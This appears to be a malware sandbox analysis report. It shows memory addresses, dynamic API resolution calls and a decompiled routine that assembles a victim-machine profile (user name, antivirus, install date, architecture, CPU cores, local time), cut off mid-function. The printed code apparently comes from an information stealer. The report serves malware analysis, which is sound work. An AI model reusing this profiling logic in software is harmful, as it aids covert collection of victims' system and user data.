0x00423f67
0x00423f6d
0x00423f75
0x00423f7b
0x00423f81
0x00423f86
0x00423f8d
0x00423f93
0x00423f99
0x00423fa1
0x00423fa6
0x00423fac
0x00423fb2
0x00423fb7
0x00423fbe
0x00423fc4
0x00423fca
0x00423fcf
0x00423fd6
0x00423fdc
0x00423fe2
0x00423fea
0x00423fef
0x00423ff5
0x00423ffb
0x00424000
0x00424007
0x0042400d
0x00424013
0x00424018
0x0042401f
0x00424025
0x0042402b
0x00424033
0x00424038
0x0042403e
0x00424044
0x00424049
0x00424050
0x00424056
0x0042405c
0x00424061
0x00424068
0x0042406e
0x00424074
0x0042407c
0x00424081
0x00424087
0x0042408d
0x00424092
0x00424099
0x0042409f
0x004240a5
0x004240aa
0x004240b1
0x004240b7
0x004240bd
0x004240c5
0x004240ca
0x004240d0
0x004240d6
0x004240db
0x004240e2
0x004240e8
0x004240ee
0x004240f3
0x004240fa
0x00424100
0x00424106
0x0042410e
0x00424113
0x00424119
0x0042411f
0x00424124
0x0042412b
0x00424131
0x00424137
0x0042413c
0x00424143
0x00424149
0x0042414f
0x00424157
0x0042415c
0x00424162
0x00424168
0x0042416d
0x00424174
0x0042417a
0x00424180
0x00424185
0x0042418c
0x00424192
0x00424198
0x004241a0
0x004241a5
0x004241ab
0x004241b1
0x004241b6
0x004241bd
0x004241c3
0x004241c9
0x004241ce
0x004241d5
0x004241db
0x004241e1
0x004241e9
0x004241f4
0x004241f9
0x004241fe
0x00424206
0x0042420c
0x00424212
0x00424217
0x0042421e
0x00424224
0x0042422a
0x00424232
0x00424237
0x0042423d
0x00424243
0x00424248
0x0042424f
0x00424255
0x0042425b
0x00424260
0x00424267
0x0042426d
0x00424273
0x0042427b
0x00424280
0x00424286
0x0042428c
0x00424291
0x00424298
0x0042429e
0x004242a4
0x004242a9
0x004242b0
0x004242b6
0x004242bc
0x004242c4
0x004242c9
0x004242cf
0x004242d5
0x004242da
0x004242e1
0x004242e7
0x004242ed
0x004242f2
0x004242f9
0x004242ff
0x00424305
0x0042430d
0x00424312
0x00424318
0x0042431e
0x00424323
0x0042432a
0x00424330
0x00424336
0x0042433b
0x00424342
0x00424348
0x0042434e
0x00424356
0x0042435b
0x00424361
0x00424367
0x0042436c
0x00424373
0x00424379
0x0042437f
0x00424384
0x0042438b
0x00424391
0x00424397
0x0042439f
0x004243a4
0x004243aa
0x004243b0
0x004243b5
0x004243bc
0x004243c2
0x004243c8
0x004243cd
0x004243d4
0x004243da
0x004243e0
0x004243e8
0x004243ed
0x004243f3
0x004243f9
0x004243fe
0x00424405
0x0042440b
0x00424411
0x00424416
0x0042441d
0x00424423
0x00424429
0x00424431
0x00424436
0x0042443c
0x00424442
0x00424447
0x0042444e
0x00424454
0x0042445a
0x0042445f
0x00424466
0x0042446c
0x00424472
0x0042447a
0x00424485
0x0042448a
0x0042448f
0x00424497
0x0042449d
0x004244a3
0x004244a8
0x004244af
0x004244b5
0x004244bb
0x004244c3
0x004244c8
0x004244ce
0x004244d4
0x004244d9
0x004244e0
0x004244e6
0x004244ec
0x004244f1
0x004244fe
0x004244fe
0x00424503
0x0042450a
0x00424510
0x00424517
0x0042451c
0x00424522
0x00424527
0x0042452d
0x00424533
0x0042453a
0x0042453f
0x00424545
0x0042454c
0x00424557
0x0042455c
0x00424562
0x00424568
0x0042456f
0x00424574
0x0042457a
0x00424581
0x0042458c
0x00424591
0x00424597
0x0042459d
0x004245a4
0x004245a9
0x004245af
0x004245b6
0x004245bb
0x004245c1
0x004245c6
0x004245cd
0x004245d3
0x004245db
0x004245e1
0x004245e7
0x004245ec
0x004245f3
0x004245f9
0x004245ff
0x00424607
0x0042460c
0x00424612
0x00424618
0x0042461d
0x00424624
0x0042462a
0x00424630
0x00424635
0x0042463c
0x00424642
0x00424648
0x00424650
0x0042465b
0x0042465b
0x00424660
0x00424667
0x00424669
0x00424671
0x00424677
0x0042467d
0x00424682
0x00424689
0x0042468f
0x00424695
0x0042469d
0x004246a8
0x004246a8
0x004246ad
0x004246b4
0x004246ba
0x004246c2
0x004246c8
0x004246ce
0x004246d3
0x004246da
0x004246e0
0x004246e6
0x004246ee
0x004246f3
0x004246f9
0x004246ff
0x00424704
0x0042470b
0x00424711
0x00424717
0x0042471c
0x00424723
0x00424729
0x0042472f
0x00424737
0x0042473c
0x00424742
0x00424748
0x0042474d
0x00424754
0x0042475a
0x00424760
0x00424765
0x0042476c
0x00424772
0x00424778
0x00424780
0x00424785
0x0042478b
0x00424791
0x00424796
0x0042479d
0x004247a3
0x004247a9
0x004247ae
0x004247b5
0x004247bb
0x004247c1
0x004247c9
0x004247ce
0x004247d4
0x004247da
0x004247df
0x004247e6
0x004247ec
0x004247f2
0x004247f7
0x004247fe
0x00424804
0x0042480a
0x00424812
0x0042481d
0x0042481d
0x00424822
0x00424829
0x0042482f
0x00424837
0x0042483d
0x00424843
0x00424848
0x0042484f
0x00424855
0x0042485b
0x00424863
0x00424868
0x0042486e
0x00424874
0x00424879
0x00424880
0x00424886
0x0042488c
0x00424891
0x00424898
0x0042489e
0x004248a4
0x004248ac
0x004248b1
0x004248b7
0x004248bd
0x004248c2
0x004248c9
0x004248cf
0x004248d5
0x004248da
0x004248e1
0x004248e7
0x004248ed
0x004248f5
0x004248fa
0x00424900
0x00424906
0x0042490b
0x00424912
0x00424918
0x0042491e
0x00424923
0x0042492a
0x00424930
0x00424936
0x0042493e
0x00424943
0x00424949
0x0042494f
0x00424954
0x00424961
0x00424961
0x00424966
0x0042496d
0x00424973
0x0042497b
0x00424981
0x00424987
0x0042498c
0x00424993
0x00424999
0x0042499f
0x004249a4
0x004249ab
0x004249b1
0x004249b7
0x004249bf
0x004249c4
0x004249ca
0x004249d0
0x004249d5
0x004249dc
0x004249e2
0x004249e8
0x004249ed
0x004249f4
0x004249fa
0x00424a00
0x00424a08
0x00424a13
0x00424a13
0x00424a18
0x00424a1f
0x00424a21
0x00424a29
0x00424a2f
0x00424a35
0x00424a3a
0x00424a41
0x00424a47
0x00424a4d
0x00424a55
0x00424a5a
0x00424a60
0x00424a66
0x00424a6b
0x00424a72
0x00424a78
0x00424a7e
0x00424a83
0x00424a90
0x00424a90
0x00424a95
0x00424a9c
0x00424aa2
0x00424aaa
0x00424ab0
0x00424ab6
0x00424abb
0x00424ac2
0x00424ac8
0x00424ace
0x00424ad6
0x00424adb
0x00424ae1
0x00424ae7
0x00424aec
0x00424af3
0x00424af9
0x00424aff
0x00424b04
0x00424b0b
0x00424b11
0x00424b17
0x00424b1f
0x00424b24
0x00424b2a
0x00424b30
0x00424b35
0x00424b3c
0x00424b42
0x00424b48
0x00424b4d
0x00424b54
0x00424b5a
0x00424b60
0x00424b68
0x00424b6d
0x00424b73
0x00424b79
0x00424b7e
0x00424b85
0x00424b8b
0x00424b91
0x00424b96
0x00424ba3
0x00424ba3
0x00424ba8
0x00424baf
0x00424bb1
0x00424bb9
0x00424bbf
0x00424bc5
0x00424bca
0x00424bd1
0x00424bd7
0x00424bdd
0x00424be5
0x00424bf0
0x00424bf0
0x00424bf5
0x00424bfc
0x00424bfe
0x00424c06
0x00424c0c
0x00424c12
0x00424c17
0x00424c1e
0x00424c24
0x00424c2a
0x00424c32
0x00424c3d
0x00424c3d
0x00424c42
0x00424c49
0x00424c4f
0x00424c57
0x00424c5d
0x00424c63
0x00424c68
0x00424c6f
0x00424c75
0x00424c7b
0x00424c83
0x00424c88
0x00424c8e
0x00424c94
0x00424c99
0x00424ca0
0x00424ca6
0x00424cac
0x00424cb1
0x00424cb8
0x00424cbe
0x00424cc4
0x00424ccc
0x00424cd7
0x00424cd7
0x00424cdc
0x00424ce3
0x00424ce5
0x00424cf3
0x00424cf3
0x00424cf8
0x00424cff
0x00424d05
0x00424d0d
0x00424d13
0x00424d19
0x00424d1e
0x00424d25
0x00424d2b
0x00424d31
0x00424d36
0x00424d3d
0x00424d43
0x00424d49
0x00424d51
0x00424d56
0x00424d5c
0x00424d62
0x00424d67
0x00424d6e
0x00424d74
0x00424d7a
0x00424d7f
0x00424d86
0x00424d8c
0x00424d92
0x00424d9a
0x00424d9f
0x00424da5
0x00424dab
0x00424db0
0x00424db7
0x00424dbd
0x00000000
0x00424dbd
0x00424dc2

APIs

GetProcAddress.KERNEL32(74640000,0509B908,0040FA4C), ref: 00423F75
GetProcAddress.KERNEL32(74640000,0509B7F8), ref: 00423F8D
GetProcAddress.KERNEL32(74640000,0509B980), ref: 00423FA6
GetProcAddress.KERNEL32(74640000,05098F20), ref: 00423FBE
GetProcAddress.KERNEL32(74640000,0509BA70), ref: 00423FD6
GetProcAddress.KERNEL32(74640000,0509B638), ref: 00423FEF
GetProcAddress.KERNEL32(74640000,0509BBA8), ref: 00424007
GetProcAddress.KERNEL32(74640000,0509BB60), ref: 0042401F
GetProcAddress.KERNEL32(74640000,0509BB78), ref: 00424038
GetProcAddress.KERNEL32(74640000,0509BB90), ref: 00424050
GetProcAddress.KERNEL32(74640000,0509BBC0), ref: 00424068
GetProcAddress.KERNEL32(74640000,0509BBD8), ref: 00424081
GetProcAddress.KERNEL32(74640000,0509BBF0), ref: 00424099
GetProcAddress.KERNEL32(74640000,0509B4B8), ref: 004240B1
GetProcAddress.KERNEL32(74640000,0509BC20), ref: 004240CA
GetProcAddress.KERNEL32(74640000,0509BC08), ref: 004240E2
GetProcAddress.KERNEL32(74640000,0509C5A8), ref: 004240FA
GetProcAddress.KERNEL32(74640000,0509B778), ref: 00424113
GetProcAddress.KERNEL32(74640000,0509C650), ref: 0042412B
GetProcAddress.KERNEL32(74640000,0509C680), ref: 00424143
GetProcAddress.KERNEL32(74640000,0509C620), ref: 0042415C
GetProcAddress.KERNEL32(74640000,0509C470), ref: 00424174
GetProcAddress.KERNEL32(74640000,0509C530), ref: 0042418C
GetProcAddress.KERNEL32(74640000,0509C698), ref: 004241A5
GetProcAddress.KERNEL32(74640000,0509C5F0), ref: 004241BD
GetProcAddress.KERNEL32(74640000,0509C5D8), ref: 004241D5
GetProcAddress.KERNEL32(74640000,0509C608), ref: 004241EE
GetProcAddress.KERNEL32(74640000,0509B798), ref: 00424206
GetProcAddress.KERNEL32(74640000,0509C638), ref: 0042421E
GetProcAddress.KERNEL32(74640000,0509C6B0), ref: 00424237
GetProcAddress.KERNEL32(74640000,0509B598), ref: 0042424F
GetProcAddress.KERNEL32(74640000,05098E30), ref: 00424267
GetProcAddress.KERNEL32(74640000,0509C6C8), ref: 00424280
GetProcAddress.KERNEL32(74640000,0509C668), ref: 00424298
GetProcAddress.KERNEL32(74640000,0509B458), ref: 004242B0
GetProcAddress.KERNEL32(74640000,0509C4E8), ref: 004242C9
GetProcAddress.KERNEL32(74640000,0509C4A0), ref: 004242E1
GetProcAddress.KERNEL32(74640000,0509B5B8), ref: 004242F9
GetProcAddress.KERNEL32(74640000,0509C488), ref: 00424312
GetProcAddress.KERNEL32(74640000,0509C6E0), ref: 0042432A
GetProcAddress.KERNEL32(74640000,0509C4B8), ref: 00424342
GetProcAddress.KERNEL32(74640000,0509B558), ref: 0042435B
GetProcAddress.KERNEL32(74640000,0509B658), ref: 00424373
GetProcAddress.KERNEL32(74640000,0509B5F8), ref: 0042438B
GetProcAddress.KERNEL32(74640000,0509C6F8), ref: 004243A4
GetProcAddress.KERNEL32(74640000,0509C710), ref: 004243BC
GetProcAddress.KERNEL32(74640000,0509B7B8), ref: 004243D4
GetProcAddress.KERNEL32(74640000,0509B478), ref: 004243ED
GetProcAddress.KERNEL32(74640000,05098E80), ref: 00424405
GetProcAddress.KERNEL32(74640000,0509B4D8), ref: 0042441D
GetProcAddress.KERNEL32(74640000,0509B4F8), ref: 00424436
GetProcAddress.KERNEL32(74640000,0509C728), ref: 0042444E
GetProcAddress.KERNEL32(74640000,0509C758), ref: 00424466
GetProcAddress.KERNEL32(74640000,0509C500), ref: 0042447F
GetProcAddress.KERNEL32(74640000,05098E58), ref: 00424497
GetProcAddress.KERNEL32(74640000,0509C740), ref: 004244AF
GetProcAddress.KERNEL32(74640000,0509C4D0), ref: 004244C8
GetProcAddress.KERNEL32(74640000,0509B578), ref: 004244E0
GetProcAddress.KERNEL32(74640000,0509B538), ref: 004244F8
LoadLibraryA.KERNEL32(0509ADD0,0040FA4C), ref: 0042450A
LoadLibraryA.KERNEL32(0509AF38), ref: 0042451C
LoadLibraryA.KERNEL32(0509AE30), ref: 0042452D
LoadLibraryA.KERNEL32(0509AF98), ref: 0042453F
LoadLibraryA.KERNEL32(0509AFE0), ref: 00424551
LoadLibraryA.KERNEL32(0509AC80), ref: 00424562
LoadLibraryA.KERNEL32(0509AD10), ref: 00424574
LoadLibraryA.KERNEL32(0509C590), ref: 00424586
LoadLibraryA.KERNEL32(0509C518), ref: 00424597
LoadLibraryA.KERNEL32(0509C548), ref: 004245A9
LoadLibraryA.KERNEL32(0509C560), ref: 004245BB
GetProcAddress.KERNEL32(73E50000,05098DE0), ref: 004245DB
GetProcAddress.KERNEL32(73E50000,050914E8), ref: 004245F3
GetProcAddress.KERNEL32(73E50000,05098ED0), ref: 0042460C
GetProcAddress.KERNEL32(73E50000,05091588), ref: 00424624
GetProcAddress.KERNEL32(73E50000,05099060), ref: 0042463C
GetProcAddress.KERNEL32(73E50000,0509AE00), ref: 00424655
GetProcAddress.KERNEL32(74860000,05091508), ref: 00424671
GetProcAddress.KERNEL32(74860000,0509B678), ref: 00424689
GetProcAddress.KERNEL32(74860000,05091548), ref: 004246A2
GetProcAddress.KERNEL32(75E50000,0509AD70), ref: 004246C2
GetProcAddress.KERNEL32(75E50000,05091608), ref: 004246DA
GetProcAddress.KERNEL32(75E50000,0509ACF8), ref: 004246F3
GetProcAddress.KERNEL32(75E50000,0509AE18), ref: 0042470B
GetProcAddress.KERNEL32(75E50000,0509AD28), ref: 00424723
GetProcAddress.KERNEL32(75E50000,0509ADB8), ref: 0042473C
GetProcAddress.KERNEL32(75E50000,0509AE90), ref: 00424754
GetProcAddress.KERNEL32(75E50000,05081800), ref: 0042476C
GetProcAddress.KERNEL32(75E50000,05091528), ref: 00424785
GetProcAddress.KERNEL32(75E50000,0509C578), ref: 0042479D
GetProcAddress.KERNEL32(75E50000,0509B518), ref: 004247B5
GetProcAddress.KERNEL32(75E50000,0509B6B8), ref: 004247CE
GetProcAddress.KERNEL32(75E50000,0509C5C0), ref: 004247E6
GetProcAddress.KERNEL32(75E50000,0509C7D0), ref: 004247FE
GetProcAddress.KERNEL32(75E50000,0509C7B8), ref: 00424817
GetProcAddress.KERNEL32(6F620000,050914C8), ref: 00424837
GetProcAddress.KERNEL32(6F620000,05091428), ref: 0042484F
GetProcAddress.KERNEL32(6F620000,050913E8), ref: 00424868
GetProcAddress.KERNEL32(6F620000,050913A8), ref: 00424880
GetProcAddress.KERNEL32(6F620000,05091308), ref: 00424898
GetProcAddress.KERNEL32(6F620000,0509AC98), ref: 004248B1
GetProcAddress.KERNEL32(6F620000,050915C8), ref: 004248C9
GetProcAddress.KERNEL32(6F620000,0509AF20), ref: 004248E1
GetProcAddress.KERNEL32(6F620000,05091628), ref: 004248FA
GetProcAddress.KERNEL32(6F620000,05091348), ref: 00424912
GetProcAddress.KERNEL32(6F620000,05091448), ref: 0042492A
GetProcAddress.KERNEL32(6F620000,050915E8), ref: 00424943
GetProcAddress.KERNEL32(6F620000,0509B6D8), ref: 0042495B
GetProcAddress.KERNEL32(75DA0000,05091648), ref: 0042497B
GetProcAddress.KERNEL32(75DA0000,0509AE48), ref: 00424993
GetProcAddress.KERNEL32(75DA0000,05098620), ref: 004249AB
GetProcAddress.KERNEL32(75DA0000,0509ADA0), ref: 004249C4
GetProcAddress.KERNEL32(75DA0000,0509AEA8), ref: 004249DC
GetProcAddress.KERNEL32(75DA0000,0509ACB0), ref: 004249F4
GetProcAddress.KERNEL32(75DA0000,05091388), ref: 00424A0D
GetProcAddress.KERNEL32(77AF0000,050912C8), ref: 00424A29
GetProcAddress.KERNEL32(77AF0000,0509ADE8), ref: 00424A41
GetProcAddress.KERNEL32(77AF0000,0509C7A0), ref: 00424A5A
GetProcAddress.KERNEL32(77AF0000,0509B098), ref: 00424A72
GetProcAddress.KERNEL32(77AF0000,0509B0B8), ref: 00424A8A
GetProcAddress.KERNEL32(76B30000,050914A8), ref: 00424AAA
GetProcAddress.KERNEL32(76B30000,0509AD40), ref: 00424AC2
GetProcAddress.KERNEL32(76B30000,05091468), ref: 00424ADB
GetProcAddress.KERNEL32(76B30000,0509AE60), ref: 00424AF3
GetProcAddress.KERNEL32(76B30000,050986B0), ref: 00424B0B
GetProcAddress.KERNEL32(76B30000,0509AE78), ref: 00424B24
GetProcAddress.KERNEL32(76B30000,05091488), ref: 00424B3C
GetProcAddress.KERNEL32(76B30000,050913C8), ref: 00424B54
GetProcAddress.KERNEL32(76B30000,0509C7E8), ref: 00424B6D
GetProcAddress.KERNEL32(76B30000,0509C830), ref: 00424B85
GetProcAddress.KERNEL32(76B30000,0509C818), ref: 00424B9D
GetProcAddress.KERNEL32(777E0000,0509B718), ref: 00424BB9
GetProcAddress.KERNEL32(777E0000,0509B7D8), ref: 00424BD1
GetProcAddress.KERNEL32(777E0000,0509B618), ref: 00424BEA
GetProcAddress.KERNEL32(74A50000,0509C788), ref: 00424C06
GetProcAddress.KERNEL32(74A50000,0509B178), ref: 00424C1E
GetProcAddress.KERNEL32(74A50000,0509B298), ref: 00424C37
GetProcAddress.KERNEL32(76620000,0509C770), ref: 00424C57
GetProcAddress.KERNEL32(76620000,0509C800), ref: 00424C6F
GetProcAddress.KERNEL32(76620000,0509CCF8), ref: 00424C88
GetProcAddress.KERNEL32(76620000,0509CB90), ref: 00424CA0
GetProcAddress.KERNEL32(76620000,05098720), ref: 00424CB8
GetProcAddress.KERNEL32(76620000,0509B2B8), ref: 00424CD1
GetProcAddress.KERNEL32(6CA90000,0509CD10), ref: 00424CED
GetProcAddress.KERNEL32(73660000,05098EA8), ref: 00424D0D
GetProcAddress.KERNEL32(73660000,0509B118), ref: 00424D25
GetProcAddress.KERNEL32(73660000,05098C28), ref: 00424D3D
GetProcAddress.KERNEL32(73660000,0509CD58), ref: 00424D56
GetProcAddress.KERNEL32(73660000,0509CE48), ref: 00424D6E
GetProcAddress.KERNEL32(73660000,0509B3D8), ref: 00424D86
GetProcAddress.KERNEL32(73660000,0509B158), ref: 00424D9F
GetProcAddress.KERNEL32(73660000,0509CCB0), ref: 00424DB7

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 74e4d6fd6f4ad5bd35df572fadb6244da23179179a2c5f26fd5d6649e041539c
Instruction ID: ab265e39f06cb13771e96bef60e138ce686db575ea64e16c0511d823c0178dcd
Opcode Fuzzy Hash: 74e4d6fd6f4ad5bd35df572fadb6244da23179179a2c5f26fd5d6649e041539c
Instruction Fuzzy Hash: 129242B5601340AFD706DF64EE4886A77B9F78A6833508539E90583363EB74EA51CF28

Uniqueness

Uniqueness Score: -1.00%

Function 0040E830 Relevance: 170.4, APIs: 90, Strings: 7, Instructions: 640
stringmemorytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E0040E830(void* __eflags, void* __fp0) {
				CHAR* _v8;
				char _v16;
				signed int _v20;
				char _v284;
				char _v100284;
				struct _SYSTEMTIME _v100300;
				char _v100312;
				struct _DISPLAY_DEVICEA _v100740;
				long _v100744;
				intOrPtr* _v100748;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t200;
				signed int _t201;
				intOrPtr* _t203;
				CHAR* _t207;
				CHAR* _t220;
				CHAR* _t222;
				CHAR* _t227;
				CHAR* _t232;
				CHAR* _t236;
				CHAR* _t239;
				CHAR* _t247;
				CHAR* _t253;
				CHAR* _t258;
				CHAR* _t263;
				CHAR* _t266;
				CHAR* _t280;
				CHAR* _t285;
				CHAR* _t290;
				CHAR* _t305;
				CHAR* _t309;
				CHAR* _t312;
				CHAR* _t314;
				CHAR* _t320;
				CHAR* _t324;
				CHAR* _t328;
				CHAR* _t330;
				int _t349;
				intOrPtr _t350;
				void* _t352;
				void* _t374;
				CHAR* _t377;
				CHAR* _t384;
				CHAR* _t393;
				CHAR* _t399;
				CHAR* _t404;
				CHAR* _t410;
				CHAR* _t412;
				intOrPtr* _t415;
				CHAR* _t425;
				CHAR* _t431;
				CHAR* _t435;
				CHAR* _t436;
				CHAR* _t444;
				CHAR* _t446;
				CHAR* _t448;
				CHAR* _t463;
				void* _t473;
				CHAR* _t476;
				CHAR* _t481;
				CHAR* _t484;
				void* _t485;
				signed int _t486;
				void* _t487;
				void* _t488;
				void* _t489;
				void* _t490;
				void* _t491;
				void* _t518;

				_t518 = __fp0;
				_push(0xffffffff);
				_push(0x43edce);
				_push( *[fs:0x0]);
				E00438A70(0x1897c);
				_t200 =  *0x450664; // 0x30e242aa
				_t201 = _t200 ^ _t486;
				_v20 = _t201;
				_push(_t201);
				 *[fs:0x0] =  &_v16;
				_t203 =  *0x4532ac; // 0x0
				_v100748 = _t203;
				L00429B30( &_v100284, 0, 0x186a0);
				_t425 =  *0x452a38; // 0x509cd70
				_t488 = _t487 + 0xc;
				lstrcatA( &_v100284, _t425);
				_t207 = E0040A340( &_v100284,  &_v100312);
				_v8 = 0;
				if(_t207[0x14] >= 0x10) {
					_t207 =  *_t207;
				}
				lstrcatA( &_v100284, _t207);
				_v8 = 0xffffffff;
				if(_v100300.wHour >= 0x10) {
					_push(_v100312);
					E00429B0B();
					_t488 = _t488 + 4;
				}
				_v100300.wHour = 0xf;
				_v100300.wDayOfWeek = 0;
				_v100312 = 0;
				lstrcatA( &_v100284, "\n\n");
				_t377 =  *0x4530cc; // 0x509d140
				lstrcatA( &_v100284, _t377);
				_t476 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				GetLocalTime( &_v100300);
				wsprintfA(_t476, "%d/%d/%d %d:%d:%d", _v100300.wDay & 0x0000ffff, _v100300.wMonth & 0x0000ffff, _v100300.wYear & 0x0000ffff, _v100300.wHour & 0x0000ffff, _v100300.wMinute & 0x0000ffff, _v100300.wSecond & 0x0000ffff);
				_t489 = _t488 + 0x20;
				lstrcatA( &_v100284, _t476);
				lstrcatA( &_v100284, "\n");
				_t220 =  *0x452cac; // 0x509ce18
				lstrcatA( &_v100284, _t220);
				_t222 = E0041F120(0, 0x10,  &_v100312); // executed
				_v8 = 1;
				if(_t222[0x14] >= 0x10) {
					_t222 =  *_t222;
				}
				lstrcatA( &_v100284, _t222);
				_v8 = 0xffffffff;
				if(_v100300.wHour >= 0x10) {
					_push(_v100312);
					E00429B0B();
					_t489 = _t489 + 4;
				}
				_v100300.wHour = 0xf;
				_v100300.wDayOfWeek = 0;
				_v100312 = 0;
				lstrcatA( &_v100284, "\n");
				_t431 =  *0x45307c; // 0x509d150
				lstrcatA( &_v100284, _t431);
				_t227 = E0041F0A0(0, 0x10,  &_v100312); // executed
				_v8 = 2;
				if(_t227[0x14] >= 0x10) {
					_t227 =  *_t227;
				}
				lstrcatA( &_v100284, _t227);
				_v8 = 0xffffffff;
				if(_v100300.wHour >= 0x10) {
					_push(_v100312);
					E00429B0B();
					_t489 = _t489 + 4;
				}
				_v100300.wHour = 0xf;
				_v100300.wDayOfWeek = 0;
				_v100312 = 0;
				lstrcatA( &_v100284, "\n");
				_t384 =  *0x453114; // 0x509d220
				lstrcatA( &_v100284, _t384);
				_t232 = E0041E580( &_v100312); // executed
				_v8 = 3;
				if(_t232[0x14] >= 0x10) {
					_t232 =  *_t232;
				}
				lstrcatA( &_v100284, _t232);
				_v8 = 0xffffffff;
				if(_v100300.wHour >= 0x10) {
					_push(_v100312);
					E00429B0B();
					_t489 = _t489 + 4;
				}
				_v100300.wHour = 0xf;
				_v100300.wDayOfWeek = 0;
				_v100312 = 0;
				lstrcatA( &_v100284, "\n\n");
				_t236 =  *0x453210; // 0x509d1c0
				lstrcatA( &_v100284, _t236);
				_t239 = E004207F0(0,  &_v100312, GetCurrentProcessId()); // executed
				_t490 = _t489 + 4;
				_v8 = 4;
				if(_t239[0x14] >= 0x10) {
					_t239 =  *_t239;
				}
				lstrcatA( &_v100284, _t239);
				_v8 = 0xffffffff;
				if(_v100300.wHour >= 0x10) {
					_push(_v100312);
					E00429B0B();
					_t490 = _t490 + 4;
				}
				_v100300.wHour = 0xf;
				_v100300.wDayOfWeek = 0;
				_v100312 = 0;
				lstrcatA( &_v100284, "\n");
				_t435 =  *0x452bf4; // 0x509b318
				lstrcatA( &_v100284, _t435);
				lstrcatA( &_v100284, "\n\n");
				_t436 =  *0x452d1c; // 0x509ce30
				lstrcatA( &_v100284, _t436); // executed
				_t247 = E0041EFE0(0, 0x10, 0xf); // executed
				lstrcatA( &_v100284, _t247);
				lstrcatA( &_v100284, " [");
				_push( &_v100744);
				_v100744 = 0;
				_push(GetCurrentProcess());
				if( *0x453500() == 0) {
					L22:
					_t253 = "x86";
					goto L23;
				} else {
					_t253 = "x64";
					_t505 = _v100744;
					if(_v100744 != 0) {
						L23:
						lstrcatA( &_v100284, _t253);
						lstrcatA( &_v100284, "]\n");
						lstrcatA( &_v100284, "Install date: "); // executed
						_t258 = E0041FA50(); // executed
						lstrcatA( &_v100284, _t258);
						lstrcatA( &_v100284, "\n");
						lstrcatA( &_v100284, "AV: "); // executed
						_t263 = E0041FC30(); // executed
						lstrcatA( &_v100284, _t263);
						lstrcatA( &_v100284, "\n");
						_t266 =  *0x453090; // 0x509cb78
						lstrcatA( &_v100284, _t266);
						lstrcatA( &_v100284, E0041EF80(0,  &_v100284, 0x10, 0xf));
						lstrcatA( &_v100284, "\n");
						_t393 =  *0x452b9c; // 0x509ce60
						lstrcatA( &_v100284, _t393);
						_v100744 = 0x101;
						GetUserNameA( &_v284,  &_v100744); // executed
						lstrcatA( &_v100284,  &_v284);
						lstrcatA( &_v100284, "\n");
						_t444 =  *0x45305c; // 0x509b3b8
						lstrcatA( &_v100284, _t444);
						_t280 = E0041F210(_t505,  &_v100312);
						_v8 = 5;
						if(_t280[0x14] >= 0x10) {
							_t280 =  *_t280;
						}
						lstrcatA( &_v100284, _t280);
						_v8 = 0xffffffff;
						if(_v100300.wHour >= 0x10) {
							_push(_v100312);
							E00429B0B();
							_t490 = _t490 + 4;
						}
						_v100300.wHour = 0xf;
						_v100300.wDayOfWeek = 0;
						_v100312 = 0;
						lstrcatA( &_v100284, "\n");
						_t446 =  *0x452e24; // 0x509b278
						lstrcatA( &_v100284, _t446);
						_t285 = L0041F380( &_v100312);
						_v8 = 6;
						if(_t285[0x14] >= 0x10) {
							_t285 =  *_t285;
						}
						lstrcatA( &_v100284, _t285);
						_v8 = 0xffffffff;
						_t509 = _v100300.wHour - 0x10;
						if(_v100300.wHour >= 0x10) {
							_push(_v100312);
							E00429B0B();
							_t490 = _t490 + 4;
						}
						_v100300.wHour = 0xf;
						_v100300.wDayOfWeek = 0;
						_v100312 = 0;
						lstrcatA( &_v100284, "\n");
						_t399 =  *0x452e94; // 0x509b2f8
						lstrcatA( &_v100284, _t399); // executed
						_t290 = E0041F640(); // executed
						lstrcatA( &_v100284, _t290);
						lstrcatA( &_v100284, "\n");
						_t448 =  *0x453278; // 0x509cf68
						lstrcatA( &_v100284, _t448);
						_t481 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
						GetLocalTime( &_v100300);
						wsprintfA(_t481, "%d/%d/%d %d:%d:%d", _v100300.wDay & 0x0000ffff, _v100300.wMonth & 0x0000ffff, _v100300.wYear & 0x0000ffff, _v100300.wHour & 0x0000ffff, _v100300.wMinute & 0x0000ffff, _v100300.wSecond & 0x0000ffff);
						_t491 = _t490 + 0x20;
						lstrcatA( &_v100284, _t481);
						lstrcatA( &_v100284, "\n");
						_t404 =  *0x452a50; // 0x509cfc8
						lstrcatA( &_v100284, _t404);
						_t482 =  &_v100312;
						_t305 = E0041F540(0, 0x10,  &_v100312, _t509, _t518); // executed
						_v8 = 7;
						if(_t305[0x14] >= 0x10) {
							_t305 =  *_t305;
						}
						lstrcatA( &_v100284, _t305);
						_v8 = 0xffffffff;
						_t511 = _v100300.wHour - 0x10;
						if(_v100300.wHour >= 0x10) {
							_push(_v100312);
							E00429B0B();
							_t491 = _t491 + 4;
						}
						_v100300.wHour = 0xf;
						_v100300.wDayOfWeek = 0;
						_v100312 = 0;
						lstrcatA( &_v100284, "\n\n");
						_t309 =  *0x4530b4; // 0x509cf80
						lstrcatA( &_v100284, _t309);
						lstrcatA( &_v100284, "\n");
						_t312 =  *0x452a8c; // 0x509cfe0
						lstrcatA( &_v100284, _t312); // executed
						_t314 = E0041EC50(0, 0x10, _t482); // executed
						lstrcatA( &_v100284, _t314);
						lstrcatA( &_v100284, "\n");
						lstrcatA( &_v100284, "Cores: ");
						_t320 = E00420370( &_v100312, _t511, L0041EB90());
						_v8 = 8;
						if(_t320[0x14] >= 0x10) {
							_t320 =  *_t320;
						}
						lstrcatA( &_v100284, _t320);
						_v8 = 0xffffffff;
						_t513 = _v100300.wHour - 0x10;
						if(_v100300.wHour >= 0x10) {
							_push(_v100312);
							E00429B0B();
							_t491 = _t491 + 4;
						}
